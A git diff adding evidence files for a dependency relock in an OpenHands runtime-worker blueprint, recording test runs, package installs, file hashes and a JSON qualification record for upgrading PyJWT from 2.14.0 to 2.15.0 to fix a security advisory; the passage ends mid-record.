"tests/test_jwks_client.py::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error"] +cwd: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +started_utc: 2026-09-30T17:08:37.109674+00:00 +ended_utc: 2026-09-30T17:08:46.434505+00:00 +exit_code: 0 + +stdout: +ROOT: tox-gh-actions won't override envlist because tox is not running in GitHub Actions +py313-crypto: install_dependency-groups> python -I -m pip install 'coverage[toml]==7.10.7' 'pytest<9.0.0,>=8.4.2' +build_wheel: install_requires> python -I -m pip install 'setuptools>=77.0.3' +build_wheel: _optional_hooks> python /tox-driver/lib/python3.13/site-packages/pyproject_api/_backend.py True setuptools.build_meta +build_wheel: get_requires_for_build_wheel> python /tox-driver/lib/python3.13/site-packages/pyproject_api/_backend.py True setuptools.build_meta +build_wheel: build_wheel> python /tox-driver/lib/python3.13/site-packages/pyproject_api/_backend.py True setuptools.build_meta +py313-crypto: install_package_deps> python -I -m pip install 'cryptography>=3.4.0' 'typing_extensions>=4.0; python_version < "3.11"' +py313-crypto: install_package> python -I -m pip install --force-reinstall --no-deps /tox/.tmp/package/1/pyjwt-2.15.0-py3-none-any.whl +py313-crypto: commands[0]> /tox/py313-crypto/bin/python -b -m coverage run -m pytest tests/test_api_jwt.py::TestJWT::test_decode_payload_recursion_error_throws_decode_error tests/test_jwks_client.py::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error +============================= test session starts ============================== +platform linux -- Python 3.13.15, pytest-8.4.2, pluggy-1.6.0 +cachedir: /tox/py313-crypto/.pytest_cache +rootdir: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +configfile: pyproject.toml +collected 2 items + +tests/test_api_jwt.py . [ 50%] +tests/test_jwks_client.py . [100%] + +============================== 2 passed in 0.19s =============================== + py313-crypto: OK (8.96=setup[8.34]+cmd[0.62] seconds) + congratulations :) (9.04 seconds) + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt new file mode 100644 index 000000000..e28e1384d --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt @@ -0,0 +1,55 @@ +argv: ["rtk", "proxy", "/tox-driver/bin/python", "-m", "pip", "install", "--upgrade", "coverage[toml]", "virtualenv", "tox", "tox-gh-actions", "--index-url", "https://pypi.org/simple"] +cwd: /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68 +started_utc: 2026-09-30T17:07:04.096825+00:00 +ended_utc: 2026-09-30T17:07:07.529047+00:00 +exit_code: 0 + +stdout: +Collecting virtualenv + Downloading virtualenv-21.14.1-py3-none-any.whl.metadata (4.1 kB) +Collecting tox + Downloading tox-4.64.5-py3-none-any.whl.metadata (3.8 kB) +Collecting tox-gh-actions + Downloading tox_gh_actions-3.5.0-py3-none-any.whl.metadata (12 kB) +Collecting coverage[toml] + Downloading coverage-7.16.2-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl.metadata (8.2 kB) +Collecting distlib<1,>=0.3.7 (from virtualenv) + Downloading distlib-0.4.3-py2.py3-none-any.whl.metadata (5.3 kB) +Collecting filelock<5,>=3.24.2 (from virtualenv) + Downloading filelock-4.0.7-py3-none-any.whl.metadata (2.0 kB) +Collecting packaging>=23.1 (from virtualenv) + Using cached packaging-26.3-py3-none-any.whl.metadata (3.5 kB) +Collecting platformdirs<5,>=3.9.1 (from virtualenv) + Downloading platformdirs-4.12.2-py3-none-any.whl.metadata (5.5 kB) +Collecting python-discovery>=1.6 (from virtualenv) + Downloading python_discovery-1.6.1-py3-none-any.whl.metadata (5.1 kB) +Collecting cachetools>=7.0.3 (from tox) + Downloading cachetools-7.2.0-py3-none-any.whl.metadata (5.5 kB) +Collecting colorama>=0.4.6 (from tox) + Downloading colorama-0.4.6-py2.py3-none-any.whl.metadata (17 kB) +Collecting pluggy>=1.6 (from tox) + Downloading pluggy-1.6.0-py3-none-any.whl.metadata (4.8 kB) +Collecting pyproject-api>=1.10 (from tox) + Downloading pyproject_api-1.11.2-py3-none-any.whl.metadata (2.2 kB) +Collecting tomli-w>=1.2 (from tox) + Downloading tomli_w-1.2.0-py3-none-any.whl.metadata (5.7 kB) +Downloading coverage-7.16.2-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl (257 kB) +Downloading virtualenv-21.14.1-py3-none-any.whl (5.5 MB) + ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 5.5/5.5 MB 95.4 MB/s 0:00:00 +Downloading distlib-0.4.3-py2.py3-none-any.whl (470 kB) +Downloading filelock-4.0.7-py3-none-any.whl (109 kB) +Downloading platformdirs-4.12.2-py3-none-any.whl (32 kB) +Downloading tox-4.64.5-py3-none-any.whl (232 kB) +Downloading tox_gh_actions-3.5.0-py3-none-any.whl (9.9 kB) +Downloading cachetools-7.2.0-py3-none-any.whl (16 kB) +Downloading colorama-0.4.6-py2.py3-none-any.whl (25 kB) +Using cached packaging-26.3-py3-none-any.whl (129 kB) +Downloading pluggy-1.6.0-py3-none-any.whl (20 kB) +Downloading pyproject_api-1.11.2-py3-none-any.whl (13 kB) +Downloading python_discovery-1.6.1-py3-none-any.whl (38 kB) +Downloading tomli_w-1.2.0-py3-none-any.whl (6.7 kB) +Installing collected packages: distlib, tomli-w, pluggy, platformdirs, packaging, filelock, coverage, colorama, cachetools, python-discovery, pyproject-api, virtualenv, tox, tox-gh-actions + +Successfully installed cachetools-7.2.0 colorama-0.4.6 coverage-7.16.2 distlib-0.4.3 filelock-4.0.7 packaging-26.3 platformdirs-4.12.2 pluggy-1.6.0 pyproject-api-1.11.2 python-discovery-1.6.1 tomli-w-1.2.0 tox-4.64.5 tox-gh-actions-3.5.0 virtualenv-21.14.1 + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt new file mode 100644 index 000000000..8023c5d60 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt @@ -0,0 +1,16 @@ +argv: ["rtk", "proxy", "sha256sum", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tox.ini", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/.github/workflows/main.yml", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py", "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/utils.py", "/pyjwt-source.tar.gz"] +cwd: +started_utc: 2026-09-30T17:08:46.436350+00:00 +ended_utc: 2026-09-30T17:08:46.464650+00:00 +exit_code: 0 + +stdout: +1674dc3f7b5747e1d4aaf2641b93b1fe8d461da1b1209dcb55c7d1d74995df4d /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tox.ini +a89f0097abe7a485da60f4ef152c9e3ef4909ae5d5c0aef86b5178d9ee12b769 /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/pyproject.toml +4b61acb3cee74afe76c9851a5273a2c769a1394415dd39e394afd22ced12ab0b /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/.github/workflows/main.yml +8331ec496b0df6f770409d3b0bf2fa470b01222122270284fdca3b905ec77457 /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py +f1f5e0076061c3931ecce432f7fa74986bc2febd820c8e1fb6a3035a3703d708 /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py +b5b937a60999a63d0515491c7f23f5b39bf534d036c1050deb1094eddf712f14 /pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tests/utils.py +9a504f00c4800fd85bb64aaf768d21d66c648d6f79ddfcbbb5209e44455c9261 /pyjwt-source.tar.gz + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt new file mode 100644 index 000000000..51a4ec251 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt @@ -0,0 +1,10 @@ +argv: ["rtk", "proxy", "uv", "--version"] +cwd: +started_utc: 2026-09-30T17:01:25.914076+00:00 +ended_utc: 2026-09-30T17:01:25.942025+00:00 +exit_code: 0 + +stdout: +uv 0.12.17 (x86_64-unknown-linux-gnu) + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json new file mode 100644 index 000000000..53623d793 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json @@ -0,0 +1,1087 @@ +{ + "schema_version": 1, + "record": "openhands-sdk-150-pyjwt-215-post-cutoff-linux-relock", + "observed_utc": "2026-09-30T17:23:50.486587+00:00", + "evidence_class": "local_integration", + "status": "bounded_source_checks_passed; shared_registration_and_exact_lock_acceptance_pending", + "scope": "OpenHands SDK/tools 1.50.0 Linux x86_64 / CPython 3.13.15 recipe source qualification. Only PyJWT changes from the bd1 urllib3 intermediate; no deployment or image/provider acceptance.", + "baselines": { + "parent_commit": "6ca5863516d0b07748f41be2a2635fbe0211d1c3", + "base_lock_sha256": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "original_candidate_commit": "00aa6c25fe6f27e9f5974e9f6a5592aa31683479", + "original_candidate_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "retained_intermediate_receipt": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", + "retained_failed_intermediate_rescan": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json", + "preservation": "All original 00aa/main-reconcile and bd1/urllib3 receipt, input and returned-output bytes remain unchanged; source controls and new qualification are separate dated artifacts." + }, + "cutoff_and_owner_boundary": { + "coordinator_authorized_observation_utc": "2026-09-30T16:57:15Z", + "conservative_cutoff_utc": "2026-09-30T16:57:00Z", + "native_worker_clock_check_utc": "2026-09-30T17:01:25Z", + "latest_pyjwt_215_artifact_upload_utc": "2026-09-23T16:56:00.689307Z", + "full_relative_exclude_newer": "7 days", + "absolute_cutoff_override": false, + "owner_handoff": "Coordinator explicitly authorized this bounded candidate relock after receiving the BC source handoff. Main/macOS adoption and issue #518 coordination remain separate ownership." + }, + "research": { + "selected_native_tools": [ + "uv 0.12.17 compile/install/check through the previously selected source method", + "OSV Scanner 2.6.0 byte-identical pinned binary in isolated task scratch", + "Official PyJWT source CI installation plus tox 4.64.5 / tox-gh-actions 3.5.0 in an isolated driver; upstream tests group pytest 8.4.2 and coverage 7.10.7" + ], + "source_pin": { + "repository": "https://github.com/jpadilla/pyjwt", + "tag": "2.15.0", + "commit": "1d41a6478e1562e68ff667fcd703356acf085f68", + "source_archive_sha256": "9a504f00c4800fd85bb64aaf768d21d66c648d6f79ddfcbbb5209e44455c9261", + "fixed_advisory": "GHSA-42vr-xj54-vc7v", + "requires_python": ">=3.9", + "optional_crypto_requirement": "cryptography>=3.4.0", + "published_artifacts": [ + { + "filename": "pyjwt-2.15.0-py3-none-any.whl", + "url": "https://files.pythonhosted.org/packages/e8/55/40e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619/pyjwt-2.15.0-py3-none-any.whl", + "sha256": "7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", + "uploaded_utc": "2026-09-23T16:55:59.241512Z", + "yanked": false + }, + { + "filename": "pyjwt-2.15.0.tar.gz", + "url": "https://files.pythonhosted.org/packages/02/a5/5197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432/pyjwt-2.15.0.tar.gz", + "sha256": "b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4", + "uploaded_utc": "2026-09-23T16:56:00.689307Z", + "yanked": false + } + ] + }, + "source_correction_from_research": "The initial fix commit used deeply-nested-payload test names. Tag 2.15.0 includes its later unchanged deterministic RecursionError regressions; the executed node names and whole-file hashes are bound here. The official CI workflow is .github/workflows/main.yml, as verified through its directory listing and pinned file." + }, + "resolution": { + "upstream_sdk_repository": "https://github.com/OpenHands/software-agent-sdk", + "upstream_sdk_commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "sdk_tools_versions": "1.50.0", + "sdk_archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "sdk_upstream_uv_lock_sha256": "9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801", + "tool": "uv 0.12.17", + "target": { + "implementation": "CPython", + "python": "3.13.15", + "platform": "Linux x86_64" + }, + "policy": { + "exclude_newer": "7 days", + "litellm": "2026-07-20T00:00:00Z", + "lmnr": "2026-08-23T00:00:00Z" + }, + "constraint_origin": "Byte copy of bd1 urllib3-relock-20260930-constraints.txt; exactly one pyjwt 2.14.0 to 2.15.0 replacement, retaining all markers and 175 other candidate declarations. Two published SDK/tools wheel inputs are byte-identical to bd1.", + "predicted_digest_comparison": "Compared only after native compilation; native output exactly matches the coordinator prediction.", + "requirements_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "native_line_count": 3054, + "requirements_count": 176, + "unchanged_from_bd1": 175, + "unchanged_from_original_00aa": 174, + "changes_from_bd1": [ + { + "name": "pyjwt", + "before": "2.14.0", + "after": "2.15.0" + } + ], + "changes_from_original_00aa": [ + "urllib3 2.7.0 -> 2.8.0", + "PyJWT 2.14.0 -> 2.15.0" + ], + "added": [], + "removed": [], + "only_pyjwt_version_and_two_hashes_changed_from_bd1": true, + "retained_versions": { + "urllib3": "2.8.0", + "oauthlib": "3.3.1", + "anyio": "4.14.2", + "click": "8.5.0", + "pypdf": "6.19.0", + "soupsieve": "2.9.2" + }, + "native_control_reproduced_bd1_byte_identically": true, + "native_fresh_extraction_reproduction_byte_identical": true, + "pristine_archive_checks": [ + { + "archive": "sdk-source.tar.gz", + "archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "extraction": "source", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "archive": "sdk-source.tar.gz", + "archive_sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c", + "extraction": "source-repro", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "archive": "pyjwt-source.tar.gz", + "archive_sha256": "9a504f00c4800fd85bb64aaf768d21d66c648d6f79ddfcbbb5209e44455c9261", + "extraction": "pyjwt-source", + "original_regular_files_compared": 92, + "mismatches": [] + }, + { + "artifact": "pyjwt-2.15.0-py3-none-any.whl", + "sha256": "7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", + "installed_python_sources_compared": 12, + "mismatches": [] + } + ], + "relative_cutoff_limit": "These dated compiles retain the full relative seven-day policy. A future replay is a new dated observation, not a replayed acceptance claim." + }, + "native_install": { + "owned_fresh_venv": true, + "hashed_build_install_exit_code": 0, + "hashed_runtime_install_exit_code": 0, + "pip_check_before_and_after_test_tools_exit_code": 0, + "native_import_exit_code": 0, + "runtime_distributions_before_test_tools": 178, + "installed_runtime_declarations_checked": 176, + "runtime_version_mismatches": [], + "qualification_tool_install": "Upstream PyJWT tests dependency group added coverage/pytest/iniconfig/pluggy only under version constraints. These four extra test distributions are outside the 176 runtime declaration comparison.", + "qualification_tools": { + "pytest": "8.4.2", + "coverage": "7.10.7", + "pluggy": "1.6.0", + "iniconfig": "2.3.0" + }, + "total_distributions_after_test_tools": 182, + "sdk_fixture_result": { + "command": "python -m unittest tests.test_openhands_150 -v", + "tests": 12, + "skips": 0, + "exit_code": 0, + "sha256": "52e1beefe24bfe03c298ae4d10a17d56388626503bc39c7f7b09a5ffbd840270" + }, + "sdk_fixture_limit": "Unchanged local tests use real SDK objects with patched model calls; they are not official upstream SDK tests or provider/server/task-quality acceptance." + }, + "unchanged_pyjwt_regressions": { + "repository": "https://github.com/jpadilla/pyjwt", + "commit": "1d41a6478e1562e68ff667fcd703356acf085f68", + "nodes": [ + "tests/test_api_jwt.py::TestJWT::test_decode_payload_recursion_error_throws_decode_error", + "tests/test_jwks_client.py::TestPyJWKClient::test_get_signing_key_from_jwt_rejects_payload_recursion_error" + ], + "source_test_and_config_inputs": [ + { + "path": "tests/test_api_jwt.py", + "sha256": "8331ec496b0df6f770409d3b0bf2fa470b01222122270284fdca3b905ec77457", + "tag_sdist_byte_identical": true + }, + { + "path": "tests/test_jwks_client.py", + "sha256": "f1f5e0076061c3931ecce432f7fa74986bc2febd820c8e1fb6a3035a3703d708", + "tag_sdist_byte_identical": true + }, + { + "path": "tests/utils.py", + "sha256": "b5b937a60999a63d0515491c7f23f5b39bf534d036c1050deb1094eddf712f14", + "tag_sdist_byte_identical": true + }, + { + "path": "tox.ini", + "sha256": "1674dc3f7b5747e1d4aaf2641b93b1fe8d461da1b1209dcb55c7d1d74995df4d", + "tag_sdist_byte_identical": true + }, + { + "path": "pyproject.toml", + "sha256": "a89f0097abe7a485da60f4ef152c9e3ef4909ae5d5c0aef86b5178d9ee12b769", + "tag_sdist_byte_identical": true + } + ], + "native_upstream_tox": { + "driver_version": "4.64.5", + "environment": "py313-crypto", + "command_origin": ".github/workflows/main.yml:44-52 and tox.ini:34-47", + "exit_code": 0, + "tests": 2, + "skips": 0, + "class": "unchanged official upstream selected tests via the supported native tox recipe" + }, + "installed_wheel_control": { + "version": "2.14.0", + "exit_code": 1, + "failed": 2, + "cause": "Raw RecursionError escapes the original decode/JWKS payload path; the expected DecodeError assertions fail." + }, + "installed_candidate_wheel": { + "version": "2.15.0", + "exit_code": 0, + "passed": 2, + "skips": 0, + "mechanism": "Supported pytest.main with append import mode from neutral cwd. The installed target is imported before collection; jwt.__file__ is printed and asserted inside the actual test process before and after execution. Tagged source is not installed into the candidate environment.", + "class": "local integration selection/oracle around unchanged official tests" + }, + "assertions": "Both unmodified tests inject RecursionError into the real JSON payload decode path and assert DecodeError retains the cause. The JWKS test also asserts its urlopen mock was never called.", + "limits": "This selected upstream fault-injection regression verifies exception normalization. It is not a full suite, deeply-nested-input performance measurement, or demonstration of worker/process crash or provider operation." + }, + "osv": { + "version": "2.6.0", + "binary_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "binary_source": ".github/workflows/security-scan.yml; google/osv-scanner v2.6.0", + "configuration_sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8", + "configuration_source": "Byte-identical .github/osv-scanner.toml at frozen 6ca branch base. No ignore ID, expiry, guard or configuration changes.", + "parser": "requirements.txt", + "no_resolve": true, + "scanner_recognized_packages": 174, + "recognition_limit": "176 runtime declarations include two direct SDK/tools wheel URLs; preserve the scanner-reported 174 count instead of claiming it recognized all identities.", + "bd1_current_config_control_exit_code": 1, + "bd1_current_config_control_findings": [ + { + "package": "pyjwt", + "version": "2.14.0", + "ids": [ + "GHSA-42vr-xj54-vc7v" + ] + } + ], + "bd1_empty_config_control_exit_code": 1, + "bd1_empty_config_control_ids": [ + "GHSA-42vr-xj54-vc7v", + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ], + "candidate_current_config_exit_code": 0, + "candidate_current_config_findings": [], + "candidate_empty_config_exit_code": 1, + "candidate_empty_config_findings": [ + { + "package": "oauthlib", + "version": "3.3.1", + "ids": [ + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ] + } + ], + "dated_scope": "The candidate current-config and empty-config native returns occurred at 17:15:28-30Z and are source-only observations. Repository-wide/integrated security gates remain separate." + }, + "oauthlib_exact_target_review": { + "requirements_sha256": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "target": "Linux x86_64 CPython 3.13.15 only", + "retained_version": "3.3.1", + "maintained_method": { + "path": "blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "sha256": "d4eb55d798102e5a6d64d4d629a3a994acfadff74daa971195b73592c2a77cff", + "bytes": 5704 + }, + "alias_method": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "sha256": "080aa7cece92c786b7977ade5bf851aa776c31dbebafab98decfc5b1ae0e5960", + "bytes": 7145 + }, + "fresh_runs": "Both unchanged scripts reran against the exact candidate environment, including the four explicit qualification-tool distributions.", + "installed_python_sources_scanned": 10811, + "recipe_sources": 12, + "unhandled_parse_errors": 0, + "hash_bound_review_files_unchanged_from_bd1": 9, + "reviewed_text_only_exception": { + "path": "func_timeout/py2_raise.py", + "sha256": "19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77", + "classification": "Unchanged Python 2-only helper is text reviewed; Python 3 selects the separate py3_raise helper." + }, + "literal_importers": "Six requests_oauthlib files select client classes, token errors and common helpers; no OAuthlib import/advisory-path literal references were reported in recipe sources. Authlib hits are its own implementation.", + "reexports": "OAuthlib oauth2 re-exports server/endpoints/grants, so those definitions can load with client namespace imports. Definition loading is not an invocation trace. Inspected RevocationEndpoint defaults enable_jsonp=False and preconfigured servers omit that flag; authorization-code/PKCE remains a separate server-grant path.", + "pyjwt_delta": "The installed 2.15.0 jwt/api_jwt.py has the official payload exception normalization. The selected regression discriminates against installed 2.14.0. Other tagged 2.15 cache/JWK changes are upstream release behavior, not local test patches.", + "limits": [ + "Literal imports and decode-style/name/call sweeps are bounded static evidence, not whole-program semantic reachability.", + "The alias helper handles literal aliases/from imports but only ast.Call for bound calls; class bases and bare attributes are not reported as calls.", + "Dynamic imports, runtime-assembled names, external/non-Python callers and OAuth authorization-server runtime behavior remain unknown.", + "No endpoint/provider was invoked; macOS and image-binary target qualification remain separate." + ], + "conclusion": "Fresh exact-target source review supports review of the unchanged two OAuthlib exceptions within these explicit limits. Coordinator independent exact-lock guard acceptance remains required." + }, + "evidence_classes_by_claim": { + "source_resolution_install_check_import_and_osv": "local_integration through supported pinned native operations", + "native_tox_selected_pyjwt_tests": "unchanged official upstream tests at the exact source tag; 2 selected only", + "installed_wheel_selected_pyjwt_tests": "local integration invocation/oracle using untouched upstream files; paired failing/passing control", + "sdk_fixtures": "unchanged local fixtures with real SDK objects and patched calls", + "source_identities_and_static_delta": "source review and independent artifact observation", + "manifest_and_publication_validation": "structural scope checks only; shared registrations owned by coordinator" + }, + "remaining_gates": [ + "Coordinator must register changed lock/pins hashes and all new dated input/evidence artifacts.", + "Coordinator must rebind and independently validate the existing OAuthlib exact-target guard at the new digest.", + "The integrated repository-wide security result must include the separately owned main/macOS/Next work, then receive its own native/hosted observation.", + "Image/package-binary, trusted observer/isolation/provider and task-quality acceptance remain ungranted and open. No model or image result is claimed." + ], + "execution_boundary": { + "new_model_requests": 0, + "host_service_or_container_starts": 0, + "image_builds": 0, + "global_configuration_changes": 0, + "shared_or_github_configuration_changes": 0, + "provider_usage": null, + "usage_note": "These package/source/test checks make no model/provider request. Coordinator/worker token usage was not collected and remains unknown." + }, + "raw_output_policy": { + "private": "Original native stdout/stderr bytes remain in task scratch with raw hashes in the ledger; source/test archives remain private and unmodified.", + "public": "Returned output copies apply declared host/task path substitutions, generic source/session identifier masking and public JWT example masking. Test execution always uses untouched original source; public output masking is never a test-source change.", + "placeholders": [ + "", + "", + "", + "", + "", + "", + "" + ], + "classification": "Sanitized copies of actual native returns; command-level private raw and public sanitized hashes remain separate." + }, + "checks": [ + { + "id": "clock-cutoff-check", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt", + "returned_output_sha256": "91392e5648d2ac348f910ed4bf3de46ddf5b19f213ee61ab623dad3b7341f394" + }, + { + "id": "uv-version", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt", + "returned_output_sha256": "a6bd49a719d9038dd76f1ba7f2ba806145fd613e5e518f71080ff0fac74b5bbc" + }, + { + "id": "pyjwt-pypi", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt", + "returned_output_sha256": "ceb456b980d874d3af84c01749e77ce8a47c3edfec26da57a57ca6d8948ef880" + }, + { + "id": "sdk-source-download", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt", + "returned_output_sha256": "d0eef999df6805ca32d4cdecf335457d789cd2177db193d3a9dcb56b563fa697" + }, + { + "id": "sdk-source-extract", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt", + "returned_output_sha256": "77321232e78b83b2b1d4ad3500df609400f60da4b35e51a47337eea92c383e59" + }, + { + "id": "sdk-source-repro-extract", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt", + "returned_output_sha256": "67632310e39072065210809179b3c7b1318bd44be2e11360c4dc629e8971c47d" + }, + { + "id": "baseline-osv-current-config", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt", + "returned_output_sha256": "ce799e56e98ac45f51b1c2536282dc921dfcec14fbcc04af6035e3f26615a640" + }, + { + "id": "baseline-osv-empty-config", + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt", + "returned_output_sha256": "77f9b9a07f51f9000c737006c19ade784dbb35c697e8853f3e6be66116424ffa" + }, + { + "id": "native-bd1-control-compile", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt", + "returned_output_sha256": "28e67cda0191d8ec008e44cc14585ebd13f578d40d67a1829446081e3e7d41dd" + }, + { + "id": "native-pyjwt-candidate-compile", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt", + "returned_output_sha256": "fbca2580f1026ae7403e289361f558d98a6b3ae6bd74e508708fbeaf82dfe9ee" + }, + { + "id": "native-pristine-reproduction", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt", + "returned_output_sha256": "ed94035165ae012bf277c5dc11ff04274242c070e875c8213a63cdde77165865" + }, + { + "id": "osv-scanner-copy", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt", + "returned_output_sha256": "e3eb88d9a28aa78000124b11ab613eb64ebd9f8a03fe7ce59ee5dc89bcab6b32" + }, + { + "id": "pyjwt-file-pyjwt-2.15.0-py3-none-any.whl", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt", + "returned_output_sha256": "8a5ea31cca7a21c9c96bf1068aa39a005c32d61acfea532b5455cf249c054e93" + }, + { + "id": "pyjwt-file-pyjwt-2.15.0.tar.gz", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt", + "returned_output_sha256": "540b3b8ed46e115f9927070df9c4492a0e8b3824853c29645c0697b50b1c99a8" + }, + { + "id": "exact-lock-delta", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt", + "returned_output_sha256": "7c8aefeb5429ebf15c4e54efafe083c59bde3f9b6a244b4f9328b5544e500573" + }, + { + "id": "fresh-venv", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt", + "returned_output_sha256": "e29d9fd8ddf54224ea0c7c8347b3951f528f2616f4e7b399b74bb537433ac275" + }, + { + "id": "build-hash-install", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt", + "returned_output_sha256": "1a6a32e0927dc554a81fd1920756f2a67fe378f44fba225b69f187a81fb8ecca" + }, + { + "id": "runtime-hash-install", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt", + "returned_output_sha256": "5910f0b0cb4876ca4358ea444e6be0fd3c8e76dc8da7f0fbfb7f8acd10e15194" + }, + { + "id": "native-pip-check", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt", + "returned_output_sha256": "066424201c71fcc7cd0f003da5a8758a4a1693936531aab0fd6f728793e5a3b9" + }, + { + "id": "native-imports", + "exit_code": 0, + "returned_output": 